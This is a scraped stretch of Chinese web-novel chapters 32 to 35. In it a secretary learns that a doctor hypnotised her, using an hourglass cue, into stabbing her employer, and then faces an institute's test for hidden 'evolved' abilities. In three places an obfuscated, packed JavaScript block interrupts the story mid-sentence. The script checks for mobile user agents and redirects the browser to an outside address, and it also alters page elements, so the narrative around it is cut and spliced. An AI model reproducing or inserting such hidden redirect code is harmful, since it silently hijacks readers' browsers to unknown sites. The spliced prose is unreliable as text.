警方、进研所专员和张医生几乎是同一时间赶到了案发现场。 此时,晕倒的周拾秋也缓缓睁开眼,可她只觉得头疼,完全不记起刚才发生了什么事。 周拾秋被叫出房间问话,而张医生则进房为庾林检查伤口,两人错身而过,周拾秋从张医生的脸上看到了一丝失落。 褚成舟作为主审,将周拾秋带到了走廊尽头。他饶有兴致地盯着周拾秋,嘴上调侃道:“这不巧了么,上两次救人的人,这会儿成了行凶者,庾先生究竟犯了什么天条,要这么多人动手?” 一旁的警官忍不住插嘴:“这哪儿是犯了天条,是上辈子拯救过世界吧,不然怎么三次袭击,都能逢凶化吉?” “按照警官这说法,庾先生应该死掉才符合您的预期咯?” 周拾秋语气极不友善,眼神凶狠地瞪着那位警官,只因这话多少有点开玩笑过头。 警官有些难堪,轻咳一声,掩饰脸上尴尬的神色,强装镇定,说去给庾林做个笔录,然后灰溜溜地逃离了审问现场。 褚成舟便直奔主题,询问起周拾秋整个事件的经过。 32. 第032章 整个事件要从周拾秋跟随张医生到3楼办公室说起。 她本想向张医生打听“桑学姐”这个人,因为庾林对此三缄其口,令她十分在意,思前想后,既然张医生提到过这个人,那自然知道点内幕。 可跟张医生聊了没多久,她感觉精神有些恍惚,就像突然走了神,也不知道神游去了何处,直到被张医生拍着肩膀叫醒。 等她离开张医生的办公室后,满脑子只想要去见庾林。 可是一进房间,看着庾林的背影,她好像着了魔,意识和身体都不受控制,脑海中回荡着一个声音,潮涌般占据了她的大脑。 “他不爱你,他终将抛弃你。” “他一直都这样傲慢,肆意将人踩在脚下,践踏别人的尊严……” “他有秘密却不告诉你。” “你要让他知道,你不是他的玩物!” 这些声音吵到周拾秋头疼,突发的耳鸣使她不得不低下头捂住耳朵。 伴随这些嘈杂声音出现的还有漫天的愤怒。 周拾秋感觉眼前的一切都在旋转,让她头昏脑胀,看向庾林的目光终被杀意染红。 她的视线落在橱柜上的水果刀,脑中涌现一条指令——杀了庾林。 于是,在意识混沌之中,她也不知道自己为何会做出这样可怕的事。 一切听上去和前两个袭击者情况差不多,没有特别之处,依然是在未知的控制下,无意识地做了一件恐怖的事。 就在周拾秋认真讲述着事件经过时,褚成舟若有所思地做着记录,施煦则在四处嗅着味道。 直到周拾秋讲述完毕,施煦才回到褚成舟身边,对褚成舟耳语片刻。 正在这时,何洲从2003病室探出头来,朝褚成舟挥了挥手,然后胸有成竹地走了过去,露出高深莫测的笑,说:“我知道谁是凶手。” 在褚成舟看来,何洲还是个心智不成熟的小孩,这种侦探过家家似的发言,他实在没有闲心搭理,于是十分敷衍地应付道:“嗯嗯,好的,侦探先生,需要我为你召集所有人,听听你精彩的推理吗?” “那倒不用。” 何洲未听出褚成舟话中的讽刺意味,而是直奔主题,指了指周拾秋胸口的胸针,自信地说,“我在胸针里藏了针孔摄像头,只要看看录像,真相自明。” 周拾秋惊讶地捂住嘴倒吸一口凉气,低头看了看那枚胸针,又瞪大了眼睛看向何洲,仿佛毫不知情。 何洲昂首挺胸,露出得意的笑,装模作样地整理衣襟,“我一早就预料到,凶手就藏在医院里,所以我故意安排周秘书来医院做陪护。” 褚成舟饶有兴致地欣赏着何洲的表演秀,附和道:“你是说,秘书小姐是你向凶手抛出的饵?” 何洲笑着点点头,然后伸手进衣兜,食指与中指夹出一张存储卡,递到褚成舟面前,说:“整个犯案过程,都被记录其中,甚至还有我英勇救人的英姿。” 褚成舟接过存储卡,脸上闪过一丝疑惑,然后递给施煦,让她找设备播放录像。 整段录像内容与周拾秋所言基本一致,从周拾秋跟在张医生身后前往办公室开始,到何洲冲进房间制服周拾秋结束。 唯一不同是多了一段张医生诱导周拾秋杀人的过程。 一开始,二人的话题紧紧围绕庾林喜欢什么样的异性展开,整个场面看上去像是热心医生努力开导情路坎坷的病人。 丝毫看不出异常之处。 那些没有营养的对话,在褚成舟听来索然无味,他在一旁呵欠连连。 直到张医生一个看似随意的动作,吸引了褚成舟的注意。 只见偷拍画面中的张医生,动作自然地拿起桌上沙漏,转了一圈,以上下颠倒的姿态重新放回原本的位置。 也就在这个无意的动作出现后,录像中周拾秋的声音变得模糊、无力、神志不清,如同忽然睡着说起了梦话。 轻柔而缓慢的声音自张医生口中传出,带着一股迷惑心智的味道。 “你很喜欢庾林对吧?” “喜欢……” 周拾秋的回应变得异常迟缓,仿佛她需要很长时间,才能反应过来对方在说什么。 张医生继续说:“可是庾林心里有别人,他总会推开你。” 周拾秋木讷地重复着他的话:“他总推开我……” “他一直都这么傲慢,随意将人踩在脚下,践踏别人的尊严。” 张医生的话逐渐激进。 “踩在脚下……践踏尊严……” 而周拾秋依然无意识地将这些话一遍遍记在心里。 “他明明有秘密却不告诉你。” “不告诉我……” “你难道不想报复他吗?” “报复……” 一句一句的暗示从录像中传出,逐渐触及事件的核心,终于,温和的张医生流露出对庾林的全部恶意,带着浓浓的杀意向周拾秋传递最后的关键讯息。 “你可以给他一个教训,让他知道,你不是可以随意玩弄的人。等你再见到庾林的脸时,你会再想起这份恨意,到时候,拿起武器,让他得到应有的报应。” 随着沙漏里的最后一粒沙子落下,张医生的话也如种子一般植入了周拾秋的脑海中,只等着与之对应的指令触发,便会爆发式生长,彻底吞噬被暗示者的理智。 下一秒,张医生脸上恢复令人熟悉的笑容,起身轻轻拍了拍周拾秋的肩,然后周拾秋打着呵欠,伸着懒腰,像个没事人一样醒了过来,对刚才发生的事完全没有印象,话题又回到应该如何改变自己上。 等周拾秋离开张医生的办公室后,一切发展都如她所说,她奔跑着上楼,急切地去见庾林,然后进门后,拿起水果刀袭击了庾林。 看完录像,褚成舟难掩震惊。 他没想到关键性证据就这么水灵灵地出现在面前,而结果也与他设想的完全不同。 “张信不是进化者。”施煦十分肯定地说。 “我知道。”褚成舟一手叉腰,一手挠头,有些不愿相信这样的结果,却又不得不接受的无力感,“通知各单位收网,谨慎起见,带张信去所里做个检测。” 施煦应了一声“好”,然后收好证据,准备前往庾林病房通知警官抓人。 褚成舟突然开口叫住施煦,问:“异能残留情况呢?” 施煦停下脚步,先指了指周拾秋,又指了指2003病室的房门,说:“她身上没有异能残留,但房门上有。” “嚯?” 一声拉长尾音的音调从褚成舟嘴里哼出,他的视线也随之回到周拾秋身上,原本倦怠的表情又突然有了活力,仿佛嗅到了一丝古怪的气味。 褚成舟一只手摸着下巴,一只手揣进裤兜,一脸闲散的样子,缓缓靠近周拾秋,意有所指地开口道,“这就怪了,前面两位袭击者的身上都有异能残留,怎么偏偏秘书小姐身上什么也没留下呢?” 意识到自己或许遗漏了一些细节,周拾秋心脏一阵猛跳,浑身肌肉变得僵硬,脸上的笑容也变得不自然起来,她脑子一片空白,一时竟不知道该如何解释。 一旁的何洲却不以为然,理直气壮地拦截了这个问题:“这些奇怪的地方不正是你们进研所该调查的工作吗?怎么反倒问起了普通市民?要是问我们就能问出结果,那我们干嘛要缴税来养无用的闲人?” 他这说话的口气与庾林极为相似,在毫不知情的情况下,成功为周拾秋解围。 周拾秋眼底满是感激之意,紧绷的神经也因为这一句话稍微放松,她调整好呼吸,若无其事地说:“也许,一开始你们的调查方向就错了?异能残留什么的,根本就与这起案子无关。” 褚成舟眯眼一笑,带着些许费解的神情,“凶手的方向也许错了,可进化者一定存在。” 感觉到对方的敌意,周拾秋不再言语。 她清楚地知道,只要对方没找到切实的证据,就不能随便怀疑她。 在二人互不相让的对视下,施煦客观地说出了自己的观点:“周小姐和张医生一样,身上并无异能反应。现在有确凿证据证明张医生是犯罪者,你可以要求他配合进行进化检测,但不能怀疑周小姐。” “你没闻出不代表他们就一定不是……”褚成舟有些不耐烦地瞪了一眼施煦。 同为进研所专员,两人性格迥异。 施煦大概是因为改造的原因,情绪时刻都很稳定,说话时也总是基于事实,不会因为主观情绪影响客观判断。 而褚成舟更看重调查专员的本能与直觉,做事也很随性,这样的两个人碰撞在一起,可能互补,也可能互不对付。 “我的确不能百分百确认进化者身份,但这两个人都曾出现在异能探测仪的探测范围内,事实是,无异能反应。”施煦声音虽然温柔,可说话的内容毫不示弱。 虽说施煦的话帮周拾秋洗脱了嫌疑,可她话中的内容简直惊掉了周拾秋的下巴。 周拾秋甚至怀疑自己是不是听错了,可看施煦十分肯定的态度,显然确实有证据可以证明,周拾秋曾进入过探测仪锁定范围内。 这怎么可能呢? 就算周拾秋真的无意中踏入了探 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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过了许久,周拾秋才从窗玻璃上收回视线,脸上也终于展现出如释重负的笑容。 她蹦蹦跳跳到康管家身边,伸手便要去拿削好皮的水果,然后被康管家一巴掌打在手背上,又在康管家的训斥声中洗了手。 一边吃着水果,周拾秋一边逛到了床边,打断何洲的沾沾自喜,发挥她厚颜无耻的优势,向庾林提出了要求:“我帮你解决了个大麻烦,你是不是该奖励我?” 庾林只是冷着脸,扫了一眼周拾秋,示意她继续说下去。 “奖励我一天假吧,没有委托,也没有打工,就让我回家安安稳稳休息一天,行吗?” 周拾秋装出一副可怜样,一脸期待地望着庾林。 “这个麻烦,我好像没让你来解决。”庾林眉头紧锁。 “你难道还想留着张医生,等着他哪天真下手成功?”周拾秋牢骚满腹。 听着二人对话的何洲忍不住感慨道:“真没想到会是张医生,他从小在庾家长大,又格外受外公器重,怎么会想杀小舅舅喃?” 庾林闻言面色愈发阴沉了,很显然,何洲对他的恨意,他心中有数,但他并不打算告诉其他人。 见他不想说,周拾秋也懒得追问,自己身上困惑的事都一大堆,她哪儿还有闲心去关心别人的事。 “不奖励就不奖励吧,反正我现在要回家,卸妆,好好补上一觉。”周拾秋说着便准备去对面房间收拾背包。 “乌鸦小姐。”庾林突然叫住了她。 周拾秋回过头,正对上庾林欲言又止的纠结表情,不解地问道:“还有什么事吗?” 平日里雷打不动的庾林,今天竟露出些许担忧的神情,沉默片刻后,又叹了口气,摇着头道:“没什么,准你一天假,好好休息,别担心。” 面对庾林莫名其妙的话,周拾秋一时不知该作何反应,心里五味杂陈。 这是良心发现?是关心?还是发神经? 周拾秋脑子里窜出无数的念头,最后只拼凑出一个字:“哦……” 简单道别,周拾秋立马收拾起行李,迫不及待离开这个是非地。 她心里其实挺害怕被褚成舟缠上,既然庾林身边的威胁已经解除,进研所的设备也已撤离,她恨不得立刻逃回自己的小窝藏起来。 当她走出住院大楼时,远远看见张医生被推上了警车。 随后她看到了窃窃私语的褚成舟和施煦,褚成舟撑着一把遮阳伞,微微偏向一旁,自己大半个身子都露在外面,却将身旁施煦的脸挡了个严实。 褚成舟一抬眼便与周拾秋对上了视线,他露出了一个意味声长的笑,周拾秋心虚地点头回应,然后急忙转身去往停车场。 33. 第033章 大约正午时分,周拾秋终于逃离自由区,回到了久别的小屋,见到了久违的朋友。 齐绮在小区附近安排了一顿烤肉为周拾秋接风洗尘,两人举杯庆祝,总算顺利解决了这场危机,不仅是庾林的,也是周拾秋的。 “明天周末,去游乐园玩一天如何?郑常新也该回来了吧,叫上一起,正好解除你们之间的误会。”齐绮好心提议。 周拾秋举手赞成,然后给郑常新发了条消息,确认郑常新明天是否有空。在得到肯定的回答后,周拾秋当即在手机上预定了门票,并跟郑常新约好碰面的时间与地点。 当天下午,齐绮外出送货,周拾秋一个人看店。 接待了几位顾客,定制了几款花束,收到了几个网络订单……难得回归了简单的日常生活。 她感觉已经很久没有如此放松过,自从重新开始危代人生涯,面对的烦恼就从未断过。 大多数时候,她经历的似乎都是别人的生活,应对别人的麻烦,消化别人的情绪,除了赚钱还债,她很少有时间为自己的生活考虑。 忽然重拾属于自己的日常,竟还有些不习惯了。 就这么闲一阵忙一阵,时间便飞快走过了下午5点。 齐绮尚未回到店里,周拾秋站在店门口眺望着夕阳,并思考着晚饭,忽然店内传来熟悉的手机铃声。 周拾秋一边转身回店,一边猜测着谁会在这个时候打电话给她。 齐绮?难道路上遇到麻烦了? 郑常新?已经约好明天见面再谈,应该不会反悔吧。 父母?现在面店正忙,应该没空。 小夏?学校大概快期末考试了吧? 脑海中涌现许多可能性,又一一被她否决,思索间,周拾秋已经走到柜台前,伸手拿起手机。 只见屏幕上显示着一个陌生号码,周拾秋没由来地心头一紧。 她缓缓按下接听键,将手机放至耳边,另一只手却下意识放到唇边,牙齿摩擦着指甲,发出窸窸窣窣的声响。 电话那头传来一句机械式的问候: “请问是周拾秋女士吗?您好,这里是进化研究所……” 当周拾秋听见“进化研究所”五个字时,她感觉脑中一片空白,呆呆地立在原地,手机险些滑落。 手机里的声音毫无感情地确认着:“周拾秋女士,您好,请问您在听吗?” 周拾秋深吸一口气,声音因情绪变得颤抖:“在,请说。” “我们收到调查专员的检测申请,要求对您进行一次进化基因检测,希望您明早9点准时到进化研究所报道。若未按时出现,将视为拒绝配合调查,进化研究所可依法对您进行拘捕。” 电话那头的声音,用冰冷的语气念完了通知内容,不等周拾秋回答,便自行挂断了电话。 是的,这只是单方面的通知,无需被通知人的认可与同意。 当潜藏在普通人中的进化者被进化研究所盯上,摆在他们面前的只有两条路:要么一生逃亡,要么自愿接受改造。 可一旦逃亡,进化研究所会默认她为进化者,与她接触的所有人都会纳入进化研究所的追责范围。 谁也无法侥幸逃脱罪责。 当周拾秋听到“进化研究所”五个字时,她就已经知道,褚成舟终究没有解除对她的怀疑,并且赌上调查专员的生涯,对她发起了进化基因检测申请。 这是所有调查专员拥有的权力。 但为防止调查专员滥用职权,当调查专员对怀疑的某人发起基因检测申请时,要么提供足够的证据,要么赌上今后的职业生涯。 毕竟,被怀疑者检测出来只是普通人,发起申请的调查专员将面临停职、扣奖金、工资降级、禁止晋升、转岗、吊销调查执照等不同程度的处罚。 因此,如果没有足够的证据,调查专员很少会对某位市民发起检测申请。 “他不可能有证据,他哪儿来的勇气跟我赌?” 周拾秋咬着手指甲,脸上表情被焦虑占据,陷入了一个人的世界,一边胡思乱想,一边喋喋不休。 她在店里来回走了两圈,一把抓起车钥匙,第一反应是先逃离凌沪市,可刚走到门边,她又停下了脚步。 不能走,走了爸妈怎么办,小夏怎么办,齐绮怎么办? 车钥匙被用力挤压,停在路边的车子骤然发出一声警报,那刺耳的声音让她猛然间回过神。 周拾秋在清醒后,慌忙将车钥匙扔回柜台上,并为自己产生逃跑的想法而不耻。 其实她可以扔下所有人逃走,可一直以来想要像普通人一样选择的想法对她产生了约束,她总会刻意避开正常人不会选择的那条路。 就像现在也一样。 正常人不会自私地抛弃家人和朋友,于是这便成了她的行为准则。 可这到底是她自身拥有的感情,还是仅仅为了普通而做出的选择呢? 她一时想不明白,也没空去思考。 此刻的她觉得自己其实跟普通人没什么区别了,至少她像普通人一样,拥有了从小无微不至照顾她的家人,结交了时刻关心她的朋友。 总的说来,她活得已经很圆满了。 一顿迷惘后,周拾秋释然了。 或许,作为周拾秋的故事是时候完结了,也许成为进化专员的人生也没有想象中那么糟糕呢? 她不断安慰自己,情绪逐渐稳定下来,思考的东西也就变了。 “发什么呆呢?” 齐绮打趣的声音忽然从门外传来,周拾秋循声望去,只见累得满头大汗的齐绮,一边用手扇着风,一边笑着走回店中。 周拾秋瞬间挤出一个天真的笑,开着玩笑说:“我在思考晚上吃什么。” “你也就这点烦恼了……”齐绮无奈地摇了摇头,然后一脸宠溺地说,“想好了吗?吃什么都可以,今晚姐请客!” 周拾秋眼眶微红,于是急忙用做作的感激来掩饰,她抱着齐绮的胳膊,脑袋胡乱蹭着齐绮的肩膀,撒娇道,“还是我家绮绮对我最好了,我想吃火锅,外加两瓶啤酒,绮绮大佬没意见吧?” 齐绮豪爽地一挥手:“准了!” 这天晚上,两人点了外卖到家里煮火锅,开怀畅饮,欢声笑语,一直从6点吃到8点半。 等到有的没的话题通通聊尽,胃被美味填满,脸上浮现一丝醉意,二人才散席。 周拾秋主动包揽了打扫工作,齐绮还夸她突然转性了,又是一阵打闹嘲笑,齐绮才终于回房。 周拾秋安静地收拾完残局,等关上房门时已经晚上9点了。 尽情的情绪释放后,心中只剩空荡,当周围安静下来,那份被掩藏起来的愁绪,才随着一声叹息溜了出来。 这顿饭,是辞行。 周拾秋坐到书桌旁,给齐绮写了一封信,准备明早离开前,偷偷通过门缝,塞进齐绮的房间。 她实在没勇气当面告诉齐绮实情,然后看齐绮崩溃到又哭又闹。 齐绮一向比她稳重,可这一次,谁都不可能解决这场结局已定的危机。 写好信后,周拾秋拿起手机,在通讯录里寻找着庾林的号码。 今早她站在庾林病房外,在手机的未接来电里寻找那个号码时,才发现那个号码不知何时已经存进了通讯录里,并且备注名为“金主爸爸”。 要不是当时在演戏,她差点笑出声。 大概又是自己犯罪人格在捣鬼,但这个备注名她觉得还挺贴切。 而她这会儿打电话,还真是为了找这位金主讨薪。 电话接通后,对面传来庾林一如既往得理不饶人的说话声:“乌鸦小姐,你让我别打扰你,你打扰我倒是挺随意。” “嘿嘿,你不会这么早就睡了吧,庾叔叔?”周拾秋忍不住讽刺。 对面只是冷笑了一声,并不想与她斗嘴,于是催促道:“说正事。” “啧,跟你说话真没意思。”周拾秋低声回应。 “真是委屈你了。”庾林回怼,“如果你只是为了骂我,那挂了。” “别!”周拾秋慌忙制止,停顿片刻,稍微组织好语言,才重新开口,“庾木木,你能先支付两百万吗?” 在周拾秋忐忑的期待中,迎来了对面的沉默,没有追问原因,也没有明确的回答,什么话也没有说,令周拾秋不由得紧张起来。 周拾秋紧攥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772931|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着桌沿,指甲在木头表面反复划拉,留下越来越深的印记,手心渐渐被汗液浸湿。 见对方始终不置可否,周拾秋又尴尬地笑着解释:“我最近状态不怎么好,所以约定恐怕无法履行了,你就当借我,但你放心,这钱我不会白拿,我,不,我家人会还给你,只是可以多给他们点时间吗?” 又过了许久,久到周拾秋开始怀疑对面已经没人在听的时候,庾林忽然问道:“多长时间?” “呃……两百万,如果你不急着用,五年,啊,能十年吗?哈哈哈,好像有点太久了,你最长能接受几年呢?” 周拾秋有些惶恐,她不知道,等到周予夏毕业后,这笔债还会不会压得家里人喘不过气,她可不希望弟弟最终也被迫成为危代人。 所以,她想尽力将这个期限拉长,越长越好,虽然对于债主来说,有些恬不知耻了。 “你确定不告诉我为什么?”庾林声音低沉地问。 周拾秋微微一怔,笑道:“怎么?你是想趁机举报我,还是怕我拿了钱又对你下手?” 有那么一瞬间,周拾秋甚至想和盘托出,抱怨因为遇到庾林,才惹上进研所,可最后她忍住了。 这终究是迁怒,就算没有庾林,进化者也难逃这样的结果,除非可以割舍下一切情感,可那样又与进化专员有何区别了呢? 庾林没有接她的玩笑话,只是冷淡地回了声:“不用还了,把银行账号发我。” 电话挂断后不久,钱就到账了,这迅速的回应让周拾秋有些懵,她不得不怀疑,庾林恐怕早就想摆脱与她的纠缠了。 周拾秋心中生出一丝说不清道不明的失落。 原来道别也有这样食不知味的时刻。 周拾秋将这笔钱转给了母亲,然后又打了个电话给母亲。 “花店没这么大收益吧,小秋,你这半年究竟在外面做什么呀?每次打电话你都说忙。家里也攒了一些钱,虽然不多,但多少能填补点。你千万别做不能做的事啊。还债的事,我去求情,求他们再宽限些时间。” 一开场,就是母亲忧心忡忡的唠叨,背景声中,还有顾客的喊声,明显母亲还在忙碌。 “唉呀,这钱是我借的,今后我还得靠花店收益慢慢还喃!但借钱的是我朋友,他不要利息,期限要求也宽松,没什么压力,你们不用担心了,赶紧把债还清。” 周拾秋语气轻松地安慰着。 “你啥时候认识过这种有钱朋友啊……”母亲将信将疑。 周拾秋胡诌:“不就卖花的客户嘛,经常光顾生意,一来二去就熟络了。” 母亲说:“哦,那就好,没关系,我把每月攒下的钱转给你,等你弟放假,还能兼职赚钱,你别全部一个人扛着。” “唉呀,不用了,我花店生意挺好的,就是太忙,也没空回家看你们,你跟爸身体都还好吧?”周拾秋竭力维持着内心的平静。 “我们没事,不用担心我们,你照顾好自己,过年有空回家吗?如果太忙,过年我就关一天店去城里看看你……” “哦,大概会很忙,你也别跑了,麻烦,等我忙完就回去啦……” 周拾秋在电话中与母亲絮叨了许久,但关于自己可能不会再回家的事,只字未提。直到又有客人上门,母亲有事要忙,周拾秋才依依不舍地道别。 原本还想给弟弟周予夏打个电话,可思前想后,她又怕被敏感的弟弟听出端倪,于是这通电话终究没能拨出。 这一夜,周拾秋未阖眼片刻,在桌前一直坐到朝阳将天边染红。 周拾秋拖着有些僵硬的身子,走出房间,将信悄悄塞进了齐绮房间的门缝,然后孤身一人离开了住所。 除了手机,她什么也没带,招了辆出租,只身前往进化研究所。 既然已经避无可避,那她只能孤注一掷了。 或许,她该试着给进研所添点乱,让对方知道自己足够强大,才可能让对方相信,她有能力隐藏身份,身边的人都只是被她的异能影响了。 这是只有高阶进化者才能做到的事,也是唯一不让其他人承受包庇罪的方式。 如果可以,她倒希望自己能彻底毁掉整个进研所。 34. 第034章 一路上,出租车司机热情地跟她搭着话,她兴致不高,随意敷衍着。 “小姑娘去进研所拿检测证明吗?呵,你也想成为危代人?” “嗯。” “你们年轻人就是喜欢这些新奇玩意儿,我有个朋友,老跟我炫耀他儿子在危机管理局赚了多少钱。” “嗯,是赚得挺多。” “哎,不是我说,赚钱的活有的是,干嘛非要替人承担负面情绪?我瞧他儿子最近精神状态都有些不对劲了。所以啊,别怪叔多嘴,慎重些好。” “是啊,不做危代人多好……” “你要是能想通,叔现在送你回去,免费!” “不用了。” “哦……好。” 如果不做危代人,她是不是就不会被进研所盯上了呢? 出租车一路驶向将自由区与禁仿区分割的高墙,进化研究所就建在高墙之上。 抵达进化研究所的入口后,周拾秋带着些许对未知的恐惧下了车。 抬头,那是一堵高高耸立的厚墙,顶端有一栋建筑物与高墙融为一体,看上去如同一座灯塔,指引着两个城区前进的方向,那里便是进化研究所。 从空中收回视线,周拾秋双手攥紧成拳,下定决心一般迈步走入了电梯口。 经过了漫长的电梯攀爬时间,周拾秋终于进入了进化研究所之中。 电梯门一开,便有一个漂亮的女职员迎了上来,一股进化者特有的气息扑面而来,周拾秋立马意识到,眼前的女人也是进化者,或者说,是进化专员。 女人长相出众,顺直的长发,清秀的脸,微笑时眼睛会弯出一个好看的弧度,说话的声音也很甜,给人一种眼前一亮的感觉。 “您好,我是进化研究所档案管理专员肖蕾,很高兴为您服务,请出示您的身份卡。”肖蕾甜甜一笑,十分热情地迎接来访者。 周拾秋一瞬间晃了神,听到肖蕾的话,才赶紧从衣兜里掏出身份卡。 那其实是养父母死去女儿的身份卡,因为突然夭折还未注销,就意外捡到了周拾秋,于是,这张身份卡便顺理成章成了她的身份证明。 肖蕾微笑着接过身份卡,放到便携识别机器里扫描了一下,周拾秋的信息便展示在了机器的显示屏上。 肖蕾将身份卡递还给周拾秋后,抬手示意周拾秋跟随她进入了进研所的大厅。 “我将带您前往检测中心,整个检测过程约需一小时,您不用紧张,只是例行检查而已。” 一路上,肖蕾带着周拾秋穿过明亮宽敞的大厅,和一个个被透明玻璃分割开的调查专员办公区,经楼梯前往位于三楼的检测中心。 周拾秋甚至在某个办公区内看到了褚成舟的身影。 当时他正悠哉地喝着咖啡,时不时还低头看看手表。 当她经过那个办公区时,褚成舟的视线和她撞到了一起。 从褚成舟的眼中,周拾秋看到了胸有成竹和幸灾乐祸,他似乎十分肯定自己的判断,满心期待着周拾秋在测试下现出原形。 褚成舟甚至还嚣张地走出办公区,挡住了周拾秋的去路,全然无视肖蕾客气的催促,笑着对周拾秋说:“真没想到秘书小姐敢来啊。” 周拾秋心中有火,但故作轻松地回道:“我有什么不敢来?平时想让进研所出份检测证明还得自己花钱,这次褚专员要免费请我做检测,我求之不得!” 心里虽然知道结果会如何,但周拾秋气势上不想输,于是嘴硬地说着吓唬褚成舟的话。 而她这句话也当真起了作用,原本自信满满的褚成舟,眼底溜出一抹疑色。周拾秋的满不在意,让他产生一丝动摇。 周拾秋继续乘胜追击,讥讽道:“褚专员平时工作时,都这么胡乱怀疑普通市民吗?不知这次褚专员赌上的是什么?” 褚成舟面露难堪,转了转眼珠,然后故作镇定地说:“停职与记过,呵呵,但我觉得我大概率赌对了。” “哦?没有证据,纯靠直觉吗?”周拾秋发出刺耳的冷笑声。 “不全是,我一直在想,为何庾先生被袭击的现场总会出现异能残留,可整个案子都与进化者无关。”褚成舟摸着下巴,露出饶有兴致的笑容。 他的话成功吸引了周拾秋,让周拾秋忍不住心中好奇,问:“然后你查出什么了?难道你想说那些异能残留与我有关?证据呢?你别忘了,我身上并无异能残留。” “嗯,对,你身上确实没有异能残留。”褚成舟点头直言。 对方没有反驳,让周拾秋愈发困惑,弄不清褚成舟葫芦里到底卖的什么药,努力回想自己是否在没有留意的地方,不小心留下了把柄。 “你找到什么证据了?” 周拾秋说话的声音不由得变弱了几分,明显的没那么自信了。 褚成舟一直观察着周拾秋的微表情,直到隐约发现周拾秋露了怯,他脸上的笑容更甚,原本丢失的自信心也随之涌现。 他带着意味深长的笑,盯着周拾秋的眼睛,低声说道:“正是因为你身上没有异能残留啊!” “啊?” 周拾秋心中一惊,既觉得不可理喻,又觉得虚张声势,可隐约中,却渐渐蔓延出些许恐惧。 这或许的确是个败笔。 褚成舟笑着拍了拍她的肩,解释道:“何洲的录像,我反复看了许多遍,许多疑问在脑中挥之不散,直到一个新奇的想法出现,我感觉一切都说得通了。” “什么想法?”周拾秋不自觉地将手抬到唇边。 褚成舟微微俯身弯腰,对周拾秋耳语:“如果那异能出现不是为了杀庾先生,而是为了救庾先生,你觉得这样听起来是不是合理多了呢?” 周拾秋忍不住浑身一颤,阵阵寒气在心中扩散,仿佛要将她整个人都冻住一般,她一时无法做出任何反应,只是瞪大了眼睛盯着褚成舟。 她彻底陷入了被人看穿的恐惧之中,猛烈的心跳撞击着耳膜,引起阵阵耳鸣,根本无法集中精力在褚成舟的言语之上。 而褚成舟脸上的笑容愈发狡黠,一边掰着指头计算,一边自顾自地说道: “张医生对行凶者进行了心理暗示,然后控制行凶者去袭击庾先生,而异能出现的地方有白女士、杨护士、康管家和庾先生,然后就是病房中的物件,唯独秘书小姐是个例外。” “这、这些都是你的猜测罢了……” 周拾秋艰难地让自己冷静下来,强挤出一个满不在乎的笑。 褚成舟微笑着打断道:“不,秘书小姐,先别急,刚才说的都是事实,接下来才是我的个人推测。” 在褚成舟的推测中,异能出现的作用是切入点。 曾经他以为是进化者控制了行凶者,可张医生的出现彻底打乱了这一思路。 既然庾林袭击案与连环凶案无关,那现场残留的异能究竟是为何呢? 他对张医生进行了详尽的调查,最终可以确定,张医生与进化者并无关联,所以这些异能残留也与他无关,也就意味着,并没有进化者成为张医生的帮凶。 然后陷入困境中的褚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明明面前这个漂亮女人也是进化者,可她好像完全不觉得这种能轻易决定她生死的考核有多离谱。 大概因为进行过人格改造,这里进化者的情绪都异常平稳,平稳到似乎没有一丝感情。 这种麻木让周拾秋感到了一丝恐惧,这样的进化者还能称之为人吗? 一想到自己也变成如此,不带任何感情,没有自我意识地活下去,她就感觉背脊发凉。 很快,肖蕾带着她抵达了三楼检测中心,玻璃门后的房间里,放置着大大小小的仪器,散发出瘆人的寒光。 周拾秋站在门口竟有些迈不动步,心跳声掩盖了一切,急促的呼吸让脑袋有些晕。 如果她在这里发动异能,不知道是她先控制住这些机器,还是这些机器先检测到她的异能呢? 周拾秋不敢肯定。 或者她应该先控制住里面的人?可控制范围应该有多大呢? 肖蕾在她面前说了些什么话,她完全没有听进去,耳朵里只有“咚咚咚”的心跳声。 直到肖蕾突然拍了拍她的肩,她才如梦初醒,耳边响起了一阵熟悉的音乐。 肖蕾说:“周小姐,没事吧?您脸色不太好,需要先休息一下吗?还有,您的手机响了很久了。” 此刻,周拾秋回过神,将手机从衣兜里掏出,只见屏幕上显示着一个熟悉的名字——金主爸爸。 35. 第035章 庾林的来电彻底击溃了周拾秋的心理防线,她本以为自己已经做足了心理准备,不与任何人道别,独自踏上了这条没有归途的死路。 可偏偏这个时候,这个爱找她麻烦的委托人,竟成了她走上不归路前最后一位通话者。 犹豫片刻,周拾秋带着歉意询问肖蕾:“我可以先接个电话吗?” 见肖蕾没有反对,她赶紧往后退了几步,躲到墙角里,接通了电话,用手挡在嘴边,压低声音说道:“你的危代人现在很忙,没空为你服务。” “你现在在哪儿?” 电话那头的声音和平时一样冷冰冰,却在这个时候莫名透着一股温暖的气息。 “唉,一个我一辈子都不想来的地方吧。” 周拾秋不知为何,竟感觉一阵酸楚,也许因为这会是她作为周拾秋的最后一通电话,她有些犹豫,要不要将自己人生最后一场戏告诉对方。 庾林却莫名其妙问道:“你打算干什么?” 周拾秋一愣,不知庾林为何要这么问,就好像他知道她在哪里似的。 “也许,大概,可能,准备上新闻吧……说不定能创造新历史呢?” 她故意将话说得轻松幽默,即便真实情况并没那么简单,可似乎只有这样,才能稍微减轻心中压力。 “什么也别做,等着。” 